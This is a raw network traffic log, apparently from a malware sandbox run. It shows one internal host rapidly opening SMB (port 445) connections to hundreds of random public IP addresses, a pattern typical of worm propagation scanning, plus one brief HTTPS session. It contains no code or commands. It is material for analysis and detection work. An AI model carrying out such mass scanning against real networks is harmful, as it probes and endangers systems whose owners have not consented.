Jul 20, 2022 13:26:26.787822962 CEST	55533	445	192.168.2.7	114.85.122.95
Jul 20, 2022 13:26:26.863559008 CEST	55535	445	192.168.2.7	157.26.134.3
Jul 20, 2022 13:26:26.865827084 CEST	55540	445	192.168.2.7	185.15.42.99
Jul 20, 2022 13:26:26.866523981 CEST	55541	445	192.168.2.7	5.240.140.81
Jul 20, 2022 13:26:26.877803087 CEST	54936	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:26.884865999 CEST	55545	445	192.168.2.7	154.48.229.49
Jul 20, 2022 13:26:26.992820978 CEST	55547	445	192.168.2.7	162.13.106.70
Jul 20, 2022 13:26:26.992826939 CEST	55546	445	192.168.2.7	147.26.0.125
Jul 20, 2022 13:26:26.992908955 CEST	55548	445	192.168.2.7	208.62.99.163
Jul 20, 2022 13:26:26.992976904 CEST	55549	445	192.168.2.7	125.52.50.232
Jul 20, 2022 13:26:26.993038893 CEST	55551	445	192.168.2.7	143.207.153.145
Jul 20, 2022 13:26:26.993096113 CEST	55552	445	192.168.2.7	192.132.108.53
Jul 20, 2022 13:26:26.993165016 CEST	55554	445	192.168.2.7	173.213.226.169
Jul 20, 2022 13:26:26.993222952 CEST	55555	445	192.168.2.7	43.25.93.12
Jul 20, 2022 13:26:27.021295071 CEST	55556	445	192.168.2.7	128.104.152.233
Jul 20, 2022 13:26:27.055448055 CEST	55563	445	192.168.2.7	46.78.226.51
Jul 20, 2022 13:26:27.057032108 CEST	55564	445	192.168.2.7	5.30.228.41
Jul 20, 2022 13:26:27.058228016 CEST	55565	445	192.168.2.7	105.85.112.123
Jul 20, 2022 13:26:27.068466902 CEST	55568	445	192.168.2.7	6.73.48.100
Jul 20, 2022 13:26:27.082206964 CEST	55569	445	192.168.2.7	94.27.140.28
Jul 20, 2022 13:26:27.103817940 CEST	55573	445	192.168.2.7	147.73.10.32
Jul 20, 2022 13:26:27.105608940 CEST	55575	445	192.168.2.7	115.199.84.133
Jul 20, 2022 13:26:27.116775036 CEST	55580	445	192.168.2.7	190.128.172.214
Jul 20, 2022 13:26:27.117263079 CEST	55581	445	192.168.2.7	122.60.162.97
Jul 20, 2022 13:26:27.117614985 CEST	55587	445	192.168.2.7	195.41.189.40
Jul 20, 2022 13:26:27.117697954 CEST	55589	445	192.168.2.7	163.128.137.81
Jul 20, 2022 13:26:27.117743969 CEST	55591	445	192.168.2.7	22.194.145.132
Jul 20, 2022 13:26:27.879370928 CEST	55607	445	192.168.2.7	134.196.254.164
Jul 20, 2022 13:26:27.879409075 CEST	55609	445	192.168.2.7	91.43.155.101
Jul 20, 2022 13:26:27.894925117 CEST	55610	445	192.168.2.7	53.1.146.44
Jul 20, 2022 13:26:27.940910101 CEST	55611	445	192.168.2.7	185.15.42.100
Jul 20, 2022 13:26:27.941463947 CEST	55612	445	192.168.2.7	5.240.140.82
Jul 20, 2022 13:26:27.992754936 CEST	55614	445	192.168.2.7	96.162.92.69
Jul 20, 2022 13:26:28.006055117 CEST	55621	445	192.168.2.7	178.21.119.203
Jul 20, 2022 13:26:28.100018024 CEST	55623	445	192.168.2.7	97.236.115.77
Jul 20, 2022 13:26:28.102583885 CEST	55624	445	192.168.2.7	167.94.222.175
Jul 20, 2022 13:26:28.102710009 CEST	55625	445	192.168.2.7	90.116.64.219
Jul 20, 2022 13:26:28.102710962 CEST	55626	445	192.168.2.7	203.229.161.222
Jul 20, 2022 13:26:28.102796078 CEST	55628	445	192.168.2.7	93.208.148.67
Jul 20, 2022 13:26:28.102840900 CEST	55629	445	192.168.2.7	60.125.72.120
Jul 20, 2022 13:26:28.102924109 CEST	55631	445	192.168.2.7	176.129.37.60
Jul 20, 2022 13:26:28.102946997 CEST	55632	445	192.168.2.7	195.114.161.81
Jul 20, 2022 13:26:28.144157887 CEST	55636	445	192.168.2.7	14.31.145.200
Jul 20, 2022 13:26:28.161298990 CEST	55637	445	192.168.2.7	94.27.140.29
Jul 20, 2022 13:26:28.176871061 CEST	55641	445	192.168.2.7	201.42.221.76
Jul 20, 2022 13:26:28.177592993 CEST	55642	445	192.168.2.7	121.13.47.225
Jul 20, 2022 13:26:28.178339958 CEST	55643	445	192.168.2.7	39.92.50.142
Jul 20, 2022 13:26:28.200289011 CEST	445	55637	94.27.140.29	192.168.2.7
Jul 20, 2022 13:26:28.209527016 CEST	55646	445	192.168.2.7	83.92.17.101
Jul 20, 2022 13:26:28.225867033 CEST	55651	445	192.168.2.7	8.146.166.230
Jul 20, 2022 13:26:28.225938082 CEST	55653	445	192.168.2.7	169.161.50.2
Jul 20, 2022 13:26:28.238708973 CEST	55657	445	192.168.2.7	19.38.146.216
Jul 20, 2022 13:26:28.239350080 CEST	55658	445	192.168.2.7	151.32.123.19
Jul 20, 2022 13:26:28.246571064 CEST	55666	445	192.168.2.7	144.26.200.98
Jul 20, 2022 13:26:28.246654034 CEST	55665	445	192.168.2.7	173.114.157.20
Jul 20, 2022 13:26:28.246771097 CEST	55667	445	192.168.2.7	171.170.100.226
Jul 20, 2022 13:26:28.246941090 CEST	55668	445	192.168.2.7	126.178.161.79
Jul 20, 2022 13:26:28.390058041 CEST	445	55629	60.125.72.120	192.168.2.7
Jul 20, 2022 13:26:28.603940964 CEST	445	55668	126.178.161.79	192.168.2.7
Jul 20, 2022 13:26:28.705995083 CEST	55637	445	192.168.2.7	94.27.140.29
Jul 20, 2022 13:26:28.743824005 CEST	445	55637	94.27.140.29	192.168.2.7
Jul 20, 2022 13:26:28.893596888 CEST	55629	445	192.168.2.7	60.125.72.120
Jul 20, 2022 13:26:28.988737106 CEST	55685	445	192.168.2.7	59.106.81.119
Jul 20, 2022 13:26:28.988954067 CEST	55687	445	192.168.2.7	18.229.43.44
Jul 20, 2022 13:26:29.004261971 CEST	55688	445	192.168.2.7	129.191.98.211
Jul 20, 2022 13:26:29.019779921 CEST	55689	445	192.168.2.7	5.240.140.83
Jul 20, 2022 13:26:29.020373106 CEST	55690	445	192.168.2.7	185.15.42.101
Jul 20, 2022 13:26:29.112277985 CEST	55668	445	192.168.2.7	126.178.161.79
Jul 20, 2022 13:26:29.116086006 CEST	55696	445	192.168.2.7	84.110.179.231
Jul 20, 2022 13:26:29.130858898 CEST	55699	445	192.168.2.7	206.114.133.141
Jul 20, 2022 13:26:29.177731037 CEST	445	55629	60.125.72.120	192.168.2.7
Jul 20, 2022 13:26:29.222642899 CEST	55701	445	192.168.2.7	126.120.24.236
Jul 20, 2022 13:26:29.223278999 CEST	55702	445	192.168.2.7	126.56.229.93
Jul 20, 2022 13:26:29.223762989 CEST	55703	445	192.168.2.7	74.120.16.46
Jul 20, 2022 13:26:29.224773884 CEST	55705	445	192.168.2.7	160.225.248.175
Jul 20, 2022 13:26:29.226552963 CEST	55706	445	192.168.2.7	96.59.173.30
Jul 20, 2022 13:26:29.226917982 CEST	55709	445	192.168.2.7	125.54.188.101
Jul 20, 2022 13:26:29.226944923 CEST	55708	445	192.168.2.7	222.206.151.200
Jul 20, 2022 13:26:29.226989031 CEST	55710	445	192.168.2.7	212.231.186.204
Jul 20, 2022 13:26:29.238708973 CEST	55711	445	192.168.2.7	94.27.140.30
Jul 20, 2022 13:26:29.269359112 CEST	55713	445	192.168.2.7	143.136.198.101
Jul 20, 2022 13:26:29.301393986 CEST	55716	445	192.168.2.7	57.61.36.5
Jul 20, 2022 13:26:29.301981926 CEST	55717	445	192.168.2.7	208.246.200.16
Jul 20, 2022 13:26:29.302086115 CEST	55718	445	192.168.2.7	20.164.138.56
Jul 20, 2022 13:26:29.331864119 CEST	55724	445	192.168.2.7	28.208.213.52
Jul 20, 2022 13:26:29.349503040 CEST	55728	445	192.168.2.7	182.163.194.114
Jul 20, 2022 13:26:29.349582911 CEST	55729	445	192.168.2.7	199.18.16.196
Jul 20, 2022 13:26:29.389673948 CEST	55740	445	192.168.2.7	101.244.29.88
Jul 20, 2022 13:26:29.389731884 CEST	55738	445	192.168.2.7	120.35.104.15
Jul 20, 2022 13:26:29.389789104 CEST	55739	445	192.168.2.7	217.95.146.68
Jul 20, 2022 13:26:29.389885902 CEST	55741	445	192.168.2.7	54.94.27.178
Jul 20, 2022 13:26:29.389951944 CEST	55744	445	192.168.2.7	219.54.1.249
Jul 20, 2022 13:26:29.389966011 CEST	55743	445	192.168.2.7	154.75.206.225
Jul 20, 2022 13:26:29.427879095 CEST	445	55668	126.178.161.79	192.168.2.7
Jul 20, 2022 13:26:29.513073921 CEST	445	55702	126.56.229.93	192.168.2.7
Jul 20, 2022 13:26:30.018585920 CEST	55702	445	192.168.2.7	126.56.229.93
Jul 20, 2022 13:26:30.098601103 CEST	55763	445	192.168.2.7	5.240.140.84
Jul 20, 2022 13:26:30.100250006 CEST	55764	445	192.168.2.7	185.15.42.102
Jul 20, 2022 13:26:30.113086939 CEST	55765	445	192.168.2.7	61.96.114.10
Jul 20, 2022 13:26:30.113488913 CEST	55766	445	192.168.2.7	194.17.65.249
Jul 20, 2022 13:26:30.129642963 CEST	55768	445	192.168.2.7	142.204.117.50
Jul 20, 2022 13:26:30.239393950 CEST	55769	445	192.168.2.7	176.253.212.13
Jul 20, 2022 13:26:30.254874945 CEST	55776	445	192.168.2.7	222.170.180.68
Jul 20, 2022 13:26:30.307029009 CEST	445	55702	126.56.229.93	192.168.2.7
Jul 20, 2022 13:26:30.316571951 CEST	55779	445	192.168.2.7	94.27.140.31
Jul 20, 2022 13:26:30.348006010 CEST	55780	445	192.168.2.7	104.253.54.70
Jul 20, 2022 13:26:30.348628998 CEST	55781	445	192.168.2.7	196.98.97.12
Jul 20, 2022 13:26:30.349159956 CEST	55782	445	192.168.2.7	44.133.113.8
Jul 20, 2022 13:26:30.350174904 CEST	55784	445	192.168.2.7	65.93.250.221
Jul 20, 2022 13:26:30.350651979 CEST	55785	445	192.168.2.7	196.19.110.127
Jul 20, 2022 13:26:30.351634979 CEST	55787	445	192.168.2.7	38.173.16.23
Jul 20, 2022 13:26:30.352142096 CEST	55788	445	192.168.2.7	219.24.154.23
Jul 20, 2022 13:26:30.352700949 CEST	55789	445	192.168.2.7	212.43.190.92
Jul 20, 2022 13:26:30.395803928 CEST	55793	445	192.168.2.7	123.34.126.123
Jul 20, 2022 13:26:30.425810099 CEST	55795	445	192.168.2.7	130.94.81.236
Jul 20, 2022 13:26:30.426843882 CEST	55796	445	192.168.2.7	104.63.81.114
Jul 20, 2022 13:26:30.427735090 CEST	55797	445	192.168.2.7	45.128.161.166
Jul 20, 2022 13:26:30.453686953 CEST	445	55780	104.253.54.70	192.168.2.7
Jul 20, 2022 13:26:30.458939075 CEST	55803	445	192.168.2.7	211.3.50.90
Jul 20, 2022 13:26:30.474104881 CEST	55807	445	192.168.2.7	10.240.151.219
Jul 20, 2022 13:26:30.474649906 CEST	55808	445	192.168.2.7	214.242.150.203
Jul 20, 2022 13:26:30.507874012 CEST	55816	445	192.168.2.7	155.236.216.223
Jul 20, 2022 13:26:30.508054972 CEST	55819	445	192.168.2.7	183.73.191.228
Jul 20, 2022 13:26:30.508088112 CEST	55818	445	192.168.2.7	107.224.224.166
Jul 20, 2022 13:26:30.508133888 CEST	55820	445	192.168.2.7	103.128.91.1
Jul 20, 2022 13:26:30.508198023 CEST	55821	445	192.168.2.7	144.108.128.211
Jul 20, 2022 13:26:30.508248091 CEST	55822	445	192.168.2.7	201.95.228.91
Jul 20, 2022 13:26:30.956121922 CEST	55780	445	192.168.2.7	104.253.54.70
Jul 20, 2022 13:26:31.061429977 CEST	445	55780	104.253.54.70	192.168.2.7
Jul 20, 2022 13:26:31.176075935 CEST	55842	445	192.168.2.7	185.15.42.103
Jul 20, 2022 13:26:31.176713943 CEST	55843	445	192.168.2.7	5.240.140.85
Jul 20, 2022 13:26:31.239396095 CEST	55845	445	192.168.2.7	86.243.146.167
Jul 20, 2022 13:26:31.240031958 CEST	55846	445	192.168.2.7	135.13.35.228
Jul 20, 2022 13:26:31.261215925 CEST	55847	445	192.168.2.7	64.246.167.169
Jul 20, 2022 13:26:31.374516010 CEST	55849	445	192.168.2.7	128.49.37.136
Jul 20, 2022 13:26:31.379468918 CEST	55855	445	192.168.2.7	185.80.21.104
Jul 20, 2022 13:26:31.394725084 CEST	55858	445	192.168.2.7	94.27.140.32
Jul 20, 2022 13:26:31.472712994 CEST	55859	445	192.168.2.7	33.1.164.44
Jul 20, 2022 13:26:31.473421097 CEST	55860	445	192.168.2.7	207.72.233.3
Jul 20, 2022 13:26:31.482672930 CEST	55861	445	192.168.2.7	175.232.208.142
Jul 20, 2022 13:26:31.485476971 CEST	55864	445	192.168.2.7	57.42.197.233
Jul 20, 2022 13:26:31.485507011 CEST	55863	445	192.168.2.7	186.121.170.233
Jul 20, 2022 13:26:31.485611916 CEST	55866	445	192.168.2.7	184.108.25.20
Jul 20, 2022 13:26:31.485881090 CEST	55867	445	192.168.2.7	69.90.134.122
Jul 20, 2022 13:26:31.488399982 CEST	55868	445	192.168.2.7	221.94.224.189
Jul 20, 2022 13:26:31.521090031 CEST	55872	445	192.168.2.7	74.247.90.60
Jul 20, 2022 13:26:31.551029921 CEST	55874	445	192.168.2.7	148.39.200.156
Jul 20, 2022 13:26:31.552166939 CEST	55875	445	192.168.2.7	211.143.241.147
Jul 20, 2022 13:26:31.553031921 CEST	55876	445	192.168.2.7	10.50.211.153
Jul 20, 2022 13:26:31.581808090 CEST	55882	445	192.168.2.7	69.134.143.169
Jul 20, 2022 13:26:31.599673986 CEST	55886	445	192.168.2.7	209.49.225.143
Jul 20, 2022 13:26:31.600615025 CEST	55887	445	192.168.2.7	11.189.142.244
Jul 20, 2022 13:26:31.630707026 CEST	55896	445	192.168.2.7	166.114.6.139
Jul 20, 2022 13:26:31.631261110 CEST	55897	445	192.168.2.7	117.110.203.216
Jul 20, 2022 13:26:31.634414911 CEST	55898	445	192.168.2.7	105.127.112.236
Jul 20, 2022 13:26:31.634430885 CEST	55899	445	192.168.2.7	222.158.131.127
Jul 20, 2022 13:26:31.634567022 CEST	55900	445	192.168.2.7	194.150.243.80
Jul 20, 2022 13:26:31.634993076 CEST	55901	445	192.168.2.7	120.114.56.43
Jul 20, 2022 13:26:32.071707010 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.071763992 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.071852922 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.072597980 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.072630882 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.170433044 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.170593023 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.174215078 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.174233913 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.174639940 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.182883024 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.182931900 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.182950020 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.183125973 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.218003988 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.218116999 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.218226910 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.218386889 CEST	55914	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:26:32.218425035 CEST	443	55914	20.199.120.151	192.168.2.7
Jul 20, 2022 13:26:32.254354000 CEST	55921	445	192.168.2.7	185.15.42.104
Jul 20, 2022 13:26:32.254421949 CEST	55922	445	192.168.2.7	5.240.140.86
Jul 20, 2022 13:26:32.363987923 CEST	55925	445	192.168.2.7	9.74.231.124
Jul 20, 2022 13:26:32.364093065 CEST	55926	445	192.168.2.7	174.69.143.70
Jul 20, 2022 13:26:32.379544020 CEST	55927	445	192.168.2.7	85.197.99.168
Jul 20, 2022 13:26:32.457933903 CEST	55929	445	192.168.2.7	94.27.140.33
Jul 20, 2022 13:26:32.490938902 CEST	55930	445	192.168.2.7	218.11.3.246
Jul 20, 2022 13:26:32.505099058 CEST	55937	445	192.168.2.7	165.158.92.196
Jul 20, 2022 13:26:32.618065119 CEST	55941	445	192.168.2.7	122.52.77.176
Jul 20, 2022 13:26:32.618170977 CEST	55942	445	192.168.2.7	219.186.253.135
Jul 20, 2022 13:26:32.618182898 CEST	55944	445	192.168.2.7	48.116.22.18
Jul 20, 2022 13:26:32.618211985 CEST	55943	445	192.168.2.7	90.246.24.42
Jul 20, 2022 13:26:32.618360996 CEST	55945	445	192.168.2.7	150.71.165.253
Jul 20, 2022 13:26:32.618504047 CEST	55947	445	192.168.2.7	153.155.40.43
Jul 20, 2022 13:26:32.618632078 CEST	55948	445	192.168.2.7	192.172.75.135
Jul 20, 2022 13:26:32.619509935 CEST	55949	445	192.168.2.7	85.58.170.30
Jul 20, 2022 13:26:32.631922960 CEST	55951	445	192.168.2.7	163.151.199.28
Jul 20, 2022 13:26:32.717246056 CEST	55958	445	192.168.2.7	40.149.184.14
Jul 20, 2022 13:26:32.718523979 CEST	55959	445	192.168.2.7	141.250.215.45
Jul 20, 2022 13:26:32.719897032 CEST	55960	445	192.168.2.7	113.46.55.7
Jul 20, 2022 13:26:32.719919920 CEST	55963	445	192.168.2.7	152.68.136.15
Jul 20, 2022 13:26:32.723839998 CEST	55967	445	192.168.2.7	74.19.82.202
Jul 20, 2022 13:26:32.724436045 CEST	55968	445	192.168.2.7	25.95.131.97
Jul 20, 2022 13:26:32.758059978 CEST	55977	445	192.168.2.7	204.1.146.20
Jul 20, 2022 13:26:32.758893013 CEST	55978	445	192.168.2.7	122.245.145.80
Jul 20, 2022 13:26:32.759638071 CEST	55979	445	192.168.2.7	111.245.112.153
Jul 20, 2022 13:26:32.760404110 CEST	55980	445	192.168.2.7	202.83.1.175
Jul 20, 2022 13:26:32.761208057 CEST	55981	445	192.168.2.7	27.91.99.230
Jul 20, 2022 13:26:32.761976957 CEST	55982	445	192.168.2.7	20.154.26.98
Jul 20, 2022 13:26:32.870407104 CEST	445	55941	122.52.77.176	192.168.2.7
Jul 20, 2022 13:26:33.337313890 CEST	56001	445	192.168.2.7	5.240.140.87
Jul 20, 2022 13:26:33.337925911 CEST	56002	445	192.168.2.7	185.15.42.105
Jul 20, 2022 13:26:33.378252983 CEST	55941	445	192.168.2.7	122.52.77.176
Jul 20, 2022 13:26:33.489665985 CEST	56005	445	192.168.2.7	204.178.117.68
Jul 20, 2022 13:26:33.490173101 CEST	56006	445	192.168.2.7	33.133.171.97
Jul 20, 2022 13:26:33.504286051 CEST	56007	445	192.168.2.7	109.123.84.201
Jul 20, 2022 13:26:33.535321951 CEST	56009	445	192.168.2.7	94.27.140.34
Jul 20, 2022 13:26:33.615742922 CEST	56010	445	192.168.2.7	99.208.54.90
Jul 20, 2022 13:26:33.617234945 CEST	445	55941	122.52.77.176	192.168.2.7
Jul 20, 2022 13:26:33.631371975 CEST	56019	445	192.168.2.7	118.14.109.39
Jul 20, 2022 13:26:33.745949984 CEST	56022	445	192.168.2.7	43.209.114.63
Jul 20, 2022 13:26:33.745955944 CEST	56020	445	192.168.2.7	52.225.5.49
Jul 20, 2022 13:26:33.746092081 CEST	56024	445	192.168.2.7	79.68.48.156
Jul 20, 2022 13:26:33.746123075 CEST	56023	445	192.168.2.7	92.205.47.95
Jul 20, 2022 13:26:33.746262074 CEST	56026	445	192.168.2.7	81.109.54.20
Jul 20, 2022 13:26:33.746454954 CEST	56028	445	192.168.2.7	78.27.92.17
Jul 20, 2022 13:26:33.746531010 CEST	56029	445	192.168.2.7	98.94.184.104
Jul 20, 2022 13:26:33.748056889 CEST	56025	445	192.168.2.7	114.206.81.177
Jul 20, 2022 13:26:33.761348009 CEST	56034	445	192.168.2.7	209.153.184.180
Jul 20, 2022 13:26:33.850656986 CEST	56038	445	192.168.2.7	222.191.125.232
Jul 20, 2022 13:26:33.850804090 CEST	56039	445	192.168.2.7	93.192.130.88
Jul 20, 2022 13:26:33.850856066 CEST	56040	445	192.168.2.7	81.234.230.155
Jul 20, 2022 13:26:33.851056099 CEST	56042	445	192.168.2.7	64.51.228.69
Jul 20, 2022 13:26:33.866934061 CEST	56048	445	192.168.2.7	87.67.180.28
Jul 20, 2022 13:26:33.867017031 CEST	56049	445	192.168.2.7	199.42.153.106
Jul 20, 2022 13:26:33.873619080 CEST	56053	445	192.168.2.7	66.202.102.206
Jul 20, 2022 13:26:33.873756886 CEST	56054	445	192.168.2.7	172.207.74.75
Jul 20, 2022 13:26:33.873883009 CEST	56055	445	192.168.2.7	64.249.254.20
Jul 20, 2022 13:26:33.873966932 CEST	56056	445	192.168.2.7	133.158.190.4
Jul 20, 2022 13:26:33.874557018 CEST	56066	445	192.168.2.7	87.117.112.99
Jul 20, 2022 13:26:33.874876976 CEST	56065	445	192.168.2.7	202.108.138.176
Jul 20, 2022 13:26:34.005865097 CEST	445	56053	66.202.102.206	192.168.2.7
Jul 20, 2022 13:26:34.331474066 CEST	54776	445	192.168.2.7	93.22.219.3
Jul 20, 2022 13:26:34.395271063 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:34.421225071 CEST	56080	445	192.168.2.7	185.15.42.106
Jul 20, 2022 13:26:34.421350002 CEST	56081	445	192.168.2.7	5.240.140.88
Jul 20, 2022 13:26:34.425730944 CEST	445	56075	93.22.219.4	192.168.2.7
Jul 20, 2022 13:26:34.425865889 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:34.425916910 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:34.427881002 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:34.459111929 CEST	445	56082	93.22.219.4	192.168.2.7
Jul 20, 2022 13:26:34.459556103 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:34.459599018 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:34.467170954 CEST	445	56080	185.15.42.106	192.168.2.7
Jul 20, 2022 13:26:34.519212961 CEST	56053	445	192.168.2.7	66.202.102.206
Jul 20, 2022 13:26:34.598855019 CEST	56088	445	192.168.2.7	56.165.40.64
Jul 20, 2022 13:26:34.598961115 CEST	56089	445	192.168.2.7	94.135.44.60
Jul 20, 2022 13:26:34.614386082 CEST	56090	445	192.168.2.7	94.27.140.35
Jul 20, 2022 13:26:34.630634069 CEST	56092	445	192.168.2.7	46.48.8.207
Jul 20, 2022 13:26:34.656265020 CEST	445	56053	66.202.102.206	192.168.2.7
Jul 20, 2022 13:26:34.722076893 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:34.737817049 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:34.776192904 CEST	56093	445	192.168.2.7	2.171.145.120
Jul 20, 2022 13:26:34.778565884 CEST	56097	445	192.168.2.7	106.121.185.145
Jul 20, 2022 13:26:34.883946896 CEST	56104	445	192.168.2.7	209.2.204.68
Jul 20, 2022 13:26:34.884088039 CEST	56108	445	192.168.2.7	16.153.27.78
Jul 20, 2022 13:26:34.884229898 CEST	56111	445	192.168.2.7	159.18.61.22
Jul 20, 2022 13:26:34.884299994 CEST	56109	445	192.168.2.7	37.7.207.79
Jul 20, 2022 13:26:34.884423971 CEST	56113	445	192.168.2.7	192.79.206.200
Jul 20, 2022 13:26:34.884457111 CEST	56112	445	192.168.2.7	213.211.20.224
Jul 20, 2022 13:26:34.884556055 CEST	56115	445	192.168.2.7	153.36.129.227
Jul 20, 2022 13:26:34.884568930 CEST	56116	445	192.168.2.7	212.73.251.212
Jul 20, 2022 13:26:34.894855022 CEST	56117	445	192.168.2.7	138.21.125.18
Jul 20, 2022 13:26:34.972177029 CEST	56080	445	192.168.2.7	185.15.42.106
Jul 20, 2022 13:26:34.975831985 CEST	56120	445	192.168.2.7	8.12.10.95
Jul 20, 2022 13:26:34.977566004 CEST	56123	445	192.168.2.7	7.75.153.186
Jul 20, 2022 13:26:34.977719069 CEST	56122	445	192.168.2.7	98.48.254.17
Jul 20, 2022 13:26:34.978127956 CEST	56124	445	192.168.2.7	69.127.5.32
Jul 20, 2022 13:26:35.015579939 CEST	56128	445	192.168.2.7	69.205.176.252
Jul 20, 2022 13:26:35.015891075 CEST	56136	445	192.168.2.7	158.212.102.83
Jul 20, 2022 13:26:35.015894890 CEST	56134	445	192.168.2.7	10.76.83.231
Jul 20, 2022 13:26:35.016083002 CEST	56138	445	192.168.2.7	139.231.211.87
Jul 20, 2022 13:26:35.016175985 CEST	56139	445	192.168.2.7	43.23.250.75
Jul 20, 2022 13:26:35.016323090 CEST	56144	445	192.168.2.7	5.226.201.153
Jul 20, 2022 13:26:35.016402006 CEST	56142	445	192.168.2.7	119.158.230.130
Jul 20, 2022 13:26:35.016427994 CEST	56146	445	192.168.2.7	104.104.42.28
Jul 20, 2022 13:26:35.017787933 CEST	445	56080	185.15.42.106	192.168.2.7
Jul 20, 2022 13:26:35.034650087 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:35.347198963 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:35.488441944 CEST	56158	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:35.488959074 CEST	56159	445	192.168.2.7	5.240.140.89
Jul 20, 2022 13:26:35.534281015 CEST	445	56158	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:35.534622908 CEST	56158	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:35.534917116 CEST	56158	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:35.538568974 CEST	56164	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:35.580359936 CEST	445	56158	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:35.580400944 CEST	445	56158	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:35.584012985 CEST	445	56164	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:35.586385965 CEST	56164	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:35.586528063 CEST	56164	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:35.636653900 CEST	445	56164	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:35.641851902 CEST	56164	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:35.644067049 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:35.644118071 CEST	54929	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:35.691622019 CEST	56169	445	192.168.2.7	94.27.140.36
Jul 20, 2022 13:26:35.692907095 CEST	445	56164	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:35.693169117 CEST	56164	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:35.723715067 CEST	56171	445	192.168.2.7	205.161.239.57
Jul 20, 2022 13:26:35.724392891 CEST	56172	445	192.168.2.7	105.158.58.150
Jul 20, 2022 13:26:35.741508007 CEST	445	56164	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:35.754589081 CEST	56173	445	192.168.2.7	90.154.52.225
Jul 20, 2022 13:26:35.896740913 CEST	56175	445	192.168.2.7	17.73.190.116
Jul 20, 2022 13:26:35.902707100 CEST	56179	445	192.168.2.7	194.254.191.209
Jul 20, 2022 13:26:35.998256922 CEST	56189	445	192.168.2.7	213.50.120.200
Jul 20, 2022 13:26:35.998465061 CEST	56188	445	192.168.2.7	126.240.9.112
Jul 20, 2022 13:26:35.998680115 CEST	56190	445	192.168.2.7	17.239.238.19
Jul 20, 2022 13:26:35.998960018 CEST	56193	445	192.168.2.7	203.3.30.222
Jul 20, 2022 13:26:35.999131918 CEST	56194	445	192.168.2.7	149.229.168.195
Jul 20, 2022 13:26:35.999353886 CEST	56196	445	192.168.2.7	104.59.13.107
Jul 20, 2022 13:26:35.999378920 CEST	56197	445	192.168.2.7	193.217.251.92
Jul 20, 2022 13:26:35.999488115 CEST	56198	445	192.168.2.7	142.177.134.145
Jul 20, 2022 13:26:36.021250010 CEST	56199	445	192.168.2.7	95.71.177.190
Jul 20, 2022 13:26:36.081615925 CEST	54880	445	192.168.2.7	86.71.147.1
Jul 20, 2022 13:26:36.089080095 CEST	56203	445	192.168.2.7	57.202.217.22
Jul 20, 2022 13:26:36.089102983 CEST	56204	445	192.168.2.7	100.233.113.147
Jul 20, 2022 13:26:36.089365005 CEST	56207	445	192.168.2.7	156.248.251.92
Jul 20, 2022 13:26:36.089452028 CEST	56206	445	192.168.2.7	140.251.1.91
Jul 20, 2022 13:26:36.134013891 CEST	56212	445	192.168.2.7	130.18.219.134
Jul 20, 2022 13:26:36.135900974 CEST	56213	445	192.168.2.7	158.123.221.225
Jul 20, 2022 13:26:36.139074087 CEST	56215	445	192.168.2.7	61.21.103.32
Jul 20, 2022 13:26:36.140919924 CEST	56217	445	192.168.2.7	171.121.22.57
Jul 20, 2022 13:26:36.142524958 CEST	56220	445	192.168.2.7	206.185.76.200
Jul 20, 2022 13:26:36.143043041 CEST	56221	445	192.168.2.7	61.162.249.166
Jul 20, 2022 13:26:36.144164085 CEST	56223	445	192.168.2.7	9.99.36.31
Jul 20, 2022 13:26:36.155689955 CEST	56230	445	192.168.2.7	138.221.90.52
Jul 20, 2022 13:26:36.155950069 CEST	56232	445	192.168.2.7	86.71.147.2
